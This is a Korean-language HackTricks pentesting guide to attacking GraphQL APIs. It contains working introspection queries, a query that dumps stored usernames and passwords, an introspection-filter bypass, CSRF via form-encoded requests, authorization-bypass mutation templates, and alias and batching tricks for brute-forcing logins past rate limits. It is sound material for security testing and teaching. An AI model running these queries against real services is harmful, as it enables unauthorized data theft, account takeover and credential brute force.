# GraphQL
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요 HackTricks를 지원하는 다른 방법: - **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! - [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 - **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. - **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
## 소개 GraphQL은 **효율적인 대안**으로 **REST API**에 대조되며, 백엔드에서 데이터를 쿼리하는 간소화된 방법을 제공합니다. REST가 종종 데이터를 수집하기 위해 다양한 엔드포인트에 걸쳐 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 단순화는 데이터 가져오기 프로세스의 복잡성을 줄여 개발자들에게 큰 **이점**을 제공합니다. ## GraphQL과 보안 GraphQL을 포함한 새로운 기술이 등장함에 따라 새로운 보안 취약점도 발생합니다. **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 점을 주목해야 합니다. 적절한 인증이 없을 경우, GraphQL 엔드포인트는 인증되지 않은 사용자에게 민감한 정보를 노출시켜 중대한 보안 위험을 초래할 수 있습니다. ### 디렉터리 브루트 포스 공격과 GraphQL 노출된 GraphQL 인스턴스를 식별하기 위해 디렉터리 브루트 포스 공격에 특정 경로를 포함하는 것이 권장됩니다. 이러한 경로는 다음과 같습니다: - `/graphql` - `/graphiql` - `/graphql.php` - `/graphql/console` - `/api` - `/api/graphql` - `/graphql/api` - `/graphql/graphql` 개방된 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 내부 검사 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 정보는 GraphQL 내부 검사에 대한 문서를 참조하세요: [**GraphQL: API를 위한 쿼리 언어**](https://graphql.org/learn/introspection/) ### 지문 도구 [**graphw00f**](https://github.com/dolevf/graphw00f)는 서버에서 사용된 GraphQL 엔진을 감지하고 보안 감사인을 위한 유용한 정보를 출력할 수 있습니다. #### Universal queries URL이 GraphQL 서비스인지 확인하려면 **universal query**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 URL이 GraphQL 엔드포인트를 호스팅한다는 것을 확인합니다. 이 방법은 GraphQL의 `__typename` 필드에 의존하며, 쿼리된 객체의 유형을 나타냅니다. ```javascript query{__typename} ``` ### 기본 열거 Graphql은 일반적으로 **GET**, **POST** (x-www-form-urlencoded) 및 **POST**(json)을 지원합니다. 보안을 위해 CSRF 공격을 방지하려면 json만 허용하는 것이 좋습니다. #### 인트로스펙션 스키마 정보를 발견하기 위해 인트로스펙션을 사용하려면 `__schema` 필드를 쿼리하십시오. 이 필드는 모든 쿼리의 루트 유형에서 사용할 수 있습니다. ```bash query={__schema{types{name,fields{name}}}} ``` 다음 쿼리를 사용하면 사용되는 모든 유형의 이름을 찾을 수 있습니다: ![](<../../.gitbook/assets/image (1036).png>) {% code overflow="wrap" %} ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` {% endcode %} 이 쿼리를 사용하면 모든 유형, 필드 및 인수(및 args의 유형)를 추출할 수 있습니다. 데이터베이스를 쿼리하는 방법을 파악하는 데 매우 유용할 것입니다. ![](<../../.gitbook/assets/image (950).png>) **오류** **오류**가 **표시**될지 여부를 알면 유용한 **정보**를 제공할 것입니다. ``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` ![](<../../.gitbook/assets/image (416).png>) **내부 조사를 통해 데이터베이스 스키마 열거** {% hint style="info" %} 내부 조사가 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시문을 제거해 보십시오. {% endhint %} ```bash #Full introspection query query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } onOperation #Often needs to be deleted to run query onFragment #Often needs to be deleted to run query onField #Often needs to be deleted to run query } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } ``` 인라인 탐사 쿼리: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` 마지막 코드 라인은 graphql에서 모든 메타 정보를 덤프하는 graphql 쿼리입니다(객체 이름, 매개변수, 유형 등). ![](<../../.gitbook/assets/image (363).png>) 인트로스펙션을 활성화하면 [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager)를 사용하여 GUI에서 모든 옵션을 볼 수 있습니다. ### 쿼리 이제 데이터베이스 내에 저장된 정보의 종류를 알았으니 **일부 값을 추출**해 보겠습니다. 인트로스펙션에서 **직접 쿼리할 수 있는 객체를 찾을 수 있습니다**(존재하는 객체를 쿼리할 수 없기 때문입니다). 다음 이미지에서 "_queryType_"이 "_Query_"로 호출되고 "_Query_" 객체의 하나의 필드가 "_flags_"인 것을 볼 수 있습니다. 이 "_flags_" 객체를 쿼리할 수 있습니다. ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) 쿼리의 유형 "_flags_"가 "_Flags_"임을 유의하십시오. 이 객체는 다음과 같이 정의됩니다: ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>) "_Flags_" 객체는 **이름**과 **값**으로 구성되어 있음을 볼 수 있습니다. 따라서 다음 쿼리를 사용하여 모든 플래그의 이름과 값을 가져올 수 있습니다: ```javascript query={flags{name, value}} ``` 주의할 점은 **쿼리할 객체**가 다음 예제와 같이 **문자열**과 같은 **기본 타입**인 경우입니다. ![](<../../.gitbook/assets/image (958).png>) 다음과 같이 쿼리할 수 있습니다: ```javascript query={hiddenFlags} ``` 다른 예시로, "_Query_" 타입 객체 내에 2개의 객체인 "_user_"와 "_users_"가 있는 경우가 있습니다.\ 이러한 객체들은 검색에 어떤 인자도 필요로 하지 않는다면, 원하는 데이터를 요청하여 **그들로부터 모든 정보를 검색**할 수 있습니다. 이 예시에서는 인터넷에서 저장된 사용자명과 비밀번호를 추출할 수 있습니다: ![](<../../.gitbook/assets/image (880).png>) 그러나, 이 예시에서는 그렇게 시도하면 다음과 같은 **에러**가 발생합니다: ![](<../../.gitbook/assets/image (1042).png>) 어떻게든 "_**uid**_" 인자의 타입이 _**Int**_인 것으로 검색할 것 같습니다.\ 어쨌든, 이미 [기본 열거](graphql.md#basic-enumeration) 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었음을 이미 알고 있었습니다: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` 해당 쿼리를 실행할 때 제공된 이미지를 읽으면 "_**user**_"가 _Int_ 타입의 "_**uid**_" 인자를 가지고 있음을 알 수 있습니다. 그래서, 약간의 _**uid**_ 브루트포스를 수행하여 _**uid**=**1**_에서 사용자명과 비밀번호를 검색했습니다:\ `query={user(uid:1){user,password}}` ![](<../../.gitbook/assets/image (90).png>) "**user**"와 "**password**" 매개변수를 요청할 수 있다는 것을 **발견**했음에 유의하십시오. 만약 존재하지 않는 것을 찾으려고 하면 (`query={user(uid:1){noExists}}`), 다음과 같은 에러가 발생합니다: ![](<../../.gitbook/assets/image (707).png>) 또한 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있음을 발견했습니다. **쿼리 문자열 덤프 트릭 (감사 @BinaryShadow\_)** 만약 `query={theusers(description: ""){username,password}}`와 같이 문자열 타입으로 검색할 수 있다면, **빈 문자열로 검색**하면 모든 데이터가 덤프됩니다. (_이 예시는 튜토리얼의 예시와 관련이 없으며, 이 예시에서는 "**theusers**"를 사용하여 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정합니다_). ### 검색 이 설정에서 **데이터베이스**에는 **사람**과 **영화**가 포함되어 있습니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**들은 서로 친구가 될 수 있으며 데이터베이스 내에서 관계를 나타내는 영화를 가질 수 있습니다. 사람들을 **이름으로 검색**하여 이메일을 얻을 수 있습니다: ```javascript { searchPerson(name: "John Doe") { email } } ``` 당신은 **이름**으로 사람들을 **검색**하고 그들이 **구독한** **영화**를 얻을 수 있습니다: ```javascript { searchPerson(name: "John Doe") { email subscribedMovies { edges { node { name } } } } } ``` 다음은 해당 사람의 `subscribedMovies`의 `name`을 검색하는 방법이 표시되어 있습니다. 또한 **동시에 여러 객체를 검색**할 수도 있습니다. 이 경우, 2개의 영화를 검색합니다: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { name } }r ``` 또는 심지어 **별칭을 사용하여 여러 다른 객체 간의 관계**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { subscribedMovies { edges { node { name } } } } davidsMovieList: searchPerson(name: "David Smith") { subscribedMovies { edges { node { name } } } } } ``` ### 변이 **변이는 서버 측에서 변경 사항을 만드는 데 사용됩니다.** **내방**에서 **선언된 변이**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"으로 불리며 "_Mutation_" 객체에는 변이의 이름들이 포함되어 있습니다 (이 경우 "_addPerson_"과 같은): ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>) 이 설정에서 **데이터베이스**에는 **사람**과 **영화**가 포함되어 있습니다. **사람**은 **이메일**과 **이름**으로 식별되며 **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있고 영화를 소유할 수 있으며, 데이터베이스 내에서 관계를 나타냅니다. 데이터베이스 내에서 **새로운** 영화를 만들기 위한 변이는 다음과 같을 수 있습니다 (이 예에서 변이는 `addMovie`로 불립니다): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { movies { name rating } } } ``` **쿼리에서 데이터의 값과 유형이 모두 표시되는 방법에 유의하십시오.** 또한 데이터베이스는 `addPerson`이라는 **변이** 작업을 지원하며, 이를 통해 **친구** 및 **영화**에 대한 연결과 함께 **사람**을 생성할 수 있습니다. 새로 생성된 사람에 연결하기 전에 친구 및 영화가 데이터베이스에 미리 존재해야 한다는 점이 중요합니다. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { person { name email friends { edges { node { name email } } } subscribedMovies { edges { node { name rating releaseYear } } } } } } ``` ### 지시문 오버로딩 [**이 보고서에 설명된 취약점 중 하나**](https://www.landh.tech/blog/20240304-google-hack-50000/)에 따르면, 지시문 오버로딩은 서버가 작업을 낭비하도록 만들기 위해 지시문을 수백만 번 호출하는 것을 의미합니다. ### 1개의 API 요청에서 브루트 포스 일괄 처리 이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 얻었습니다.\ **다른 자격 증명으로 동시에 많은 쿼리를 보내 인증**하는 것입니다. 이것은 클래식한 브루트 포스 공격이지만 이제 GraphQL 일괄 처리 기능 덕분에 HTTP 요청 당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 방법은 외부 속도 모니터링 애플리케이션이 모든 것이 잘되고 암호를 추측하려는 봇이 없다고 생각하게 할 것입니다. 아래에서는 **한 번에 3개의 다른 이메일/비밀번호 쌍**을 사용하여 응용 프로그램 인증 요청의 가장 간단한 데모를 찾을 수 있습니다. 당연히 동일한 방법으로 한 번에 수천 개를 보낼 수 있습니다: ![](<../../.gitbook/assets/image (1081).png>) 응답 스크린샷에서 볼 수 있듯이, 첫 번째와 세 번째 요청은 _null_을 반환하고 해당 정보를 _error_ 섹션에 반영했습니다. **두 번째 변이는 올바른 인증** 데이터를 가지고 있으며 응답에는 올바른 인증 세션 토큰이 포함되어 있습니다. ![](<../../.gitbook/assets/image (119) (1).png>) ## GraphQL 인트로스펙션 없이 더 많은 **graphql 엔드포인트가 인트로스펙션을 비활성화**하고 있습니다. 그러나 graphql가 예상치 못한 요청을 받았을 때 던지는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 대부분의 스키마를 재구성하는 데 충분합니다. 또한, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전달되는 GraphQL API 요청을 관찰**하고 각 새로운 쿼리마다 내부 GraphQL **스키마를 작성**합니다. 또한 인트로스펙션 쿼리를 받으면 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 정보는 [**여기를 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). [**여기에서 GraphQL 엔티티를 발견하는 데 유용한 단어 목록**](https://github.com/Escape-Technologies/graphql-wordlist?)을 찾을 수 있습니다. ### GraphQL 인트로스펙션 방어 우회 ### **GraphQL 인트로스펙션 방어 우회** API에서 인트로스펙션 쿼리에 대한 제한을 우회하려면 `__schema` 키워드 뒤에 **특수 문자를 삽입**하는 것이 효과적입니다. 이 방법은 `__schema` 키워드에 초점을 맞춘 정규식 패턴의 일반적인 개발자 실수를 이용합니다. GraphQL이 무시하지만 정규식에서 고려되지 않을 수 있는 **공백, 새 줄 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 새 줄이 있는 인트로스펙션 쿼리는 이러한 방어를 우회할 수 있습니다: ```bash # Example with newline to bypass { "query": "query{__schema {queryType{name}}}" } ``` 만약 실패한다면, **GET 요청**이나 **`x-www-form-urlencoded`를 사용한 POST**와 같은 대체 요청 방법을 고려하십시오. 제한 사항이 POST 요청에만 적용될 수 있기 때문입니다. ### **노출된 GraphQL 구조 발견하기** Introspection이 비활성화된 경우, JavaScript 라이브러리에서 사전로드된 쿼리를 웹 사이트의 소스 코드로 조사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러낼 수 있습니다. 개발자 도구 내에서 검색하는 명령어는 다음과 같습니다: ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` ## GraphQL에서의 CSRF 만약 CSRF가 무엇인지 모르겠다면 다음 페이지를 읽어보세요: {% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} 여기서 여러 개의 GraphQL 엔드포인트를 **CSRF 토큰 없이 구성된** 상태로 발견할 수 있습니다. GraphQL 요청은 일반적으로 Content-Type을 **`application/json`**으로 사용하여 POST 요청을 통해 전송됩니다. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` 그러나 대부분의 GraphQL 엔드포인트는 **`form-urlencoded` POST 요청도 지원**합니다: ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` 따라서, 이전과 같은 CSRF 요청은 **사전 요청 없이** 전송되므로 CSRF를 남용하여 GraphQL에서 **변경**을 수행할 수 있습니다. 그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`입니다. 이는 쿠키가 제3자 웹에서 GET 요청으로만 전송될 것을 의미합니다. 또한 **쿼리 요청**을 GET 요청으로도 보낼 수 있으며 CSRF 토큰이 GET 요청에서 유효성을 검사하지 않을 수 있음을 유의하십시오. 또한 [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 남용하여 사용자의 자격 증명을 악용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다. 자세한 정보는 [**여기의 원본 게시물**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)을 확인하십시오. ## GraphQL에서의 권한 부여 엔드포인트에서 정의된 많은 GraphQL 함수는 요청자의 인증만 확인할 뿐 권한을 확인하지 않을 수 있습니다. 쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 [유출될 수 있습니다](https://hackerone.com/reports/792927). 변이를 통해 다른 계정 데이터를 수정하려고 시도하여 계정 탈취로 이어질 수도 있습니다. ```javascript { "operationName":"updateProfile", "variables":{"username":INJECT,"data":INJECT}, "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` ### GraphQL에서 권한 우회 [쿼리를 연결](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)하여 약한 인증 시스템을 우회할 수 있습니다. 아래 예시에서 작업이 "forgotPassword"임을 볼 수 있으며 해당 작업에 연결된 forgotPassword 쿼리만 실행되어야 합니다. 이를 우회하기 위해 끝에 쿼리를 추가할 수 있습니다. 이 경우 "register"를 추가하고 시스템이 새 사용자로 등록되도록 사용자 변수를 추가합니다.
## 별칭을 사용한 GraphQL에서 요청 제한 우회 GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 명명**할 수 있는 강력한 기능입니다. 이 기능은 **동일한 유형의 객체를 한 요청 내에서 여러 번** 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름의 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 참고하십시오: [별칭](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). 별칭의 주요 목적은 다수의 API 호출을 줄이는 데 있지만, 별칭을 사용하여 GraphQL 엔드포인트에서 브루트 포스 공격을 실행하는 데 활용할 수 있는 부작용이 식별되었습니다. 이는 일부 엔드포인트가 **HTTP 요청의 수를 제한**하여 브루트 포스 공격을 방지하도록 설계된 속도 제한기로 보호되어 있지만, 이러한 속도 제한기가 각 요청 내의 작업 수를 고려하지 않을 수 있기 때문입니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있기 때문에 이러한 속도 제한 조치를 우회할 수 있습니다. 다음 예시를 고려해보면, 별칭을 사용하여 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 할인 코드의 유효성을 확인할 수 있도록 여러 쿼리를 하나의 HTTP 요청으로 통합함으로써 속도 제한을 우회할 수 있을 수 있습니다. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { isvalidDiscount(code:$code){ valid } isValidDiscount2:isValidDiscount(code:$code){ valid } isValidDiscount3:isValidDiscount(code:$code){ valid } } ``` ## 도구 ### 취약점 스캐너 * [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터를 검색하며 권한을 테스트하고 스키마를 무력화하고 주어진 유형으로의 경로를 찾을 수 있는 도구입니다. * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형 또는 [Burp 확장 프로그램](https://github.com/doyensec/inql)으로 사용할 수 있습니다. * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용할 수 있어 공격을 자동화할 수 있습니다. * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): GraphQL 스키마에서 주어진 유형에 도달하는 다양한 방법을 나열하는 도구입니다. * [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 프로그램입니다. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트나 로컬 내부 검사 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 뮤테이션을 자동으로 생성하고 분석을 위해 구조화된 보기로 구성합니다. _**Attacker**_ 구성 요소를 사용하면 일괄 GraphQL 공격을 실행할 수 있어 구현이 잘못된 속도 제한을 우회하는 데 유용할 수 있습니다. ### 클라이언트 * [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI 클라이언트 * [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI 클라이언트 ### 자동화된 테스트 {% embed url="https://graphql-dashboard.herokuapp.com/" %} * AutoGraphQL에 대한 설명 비디오: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) ## 참고 자료 * [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4) * [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/) * [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.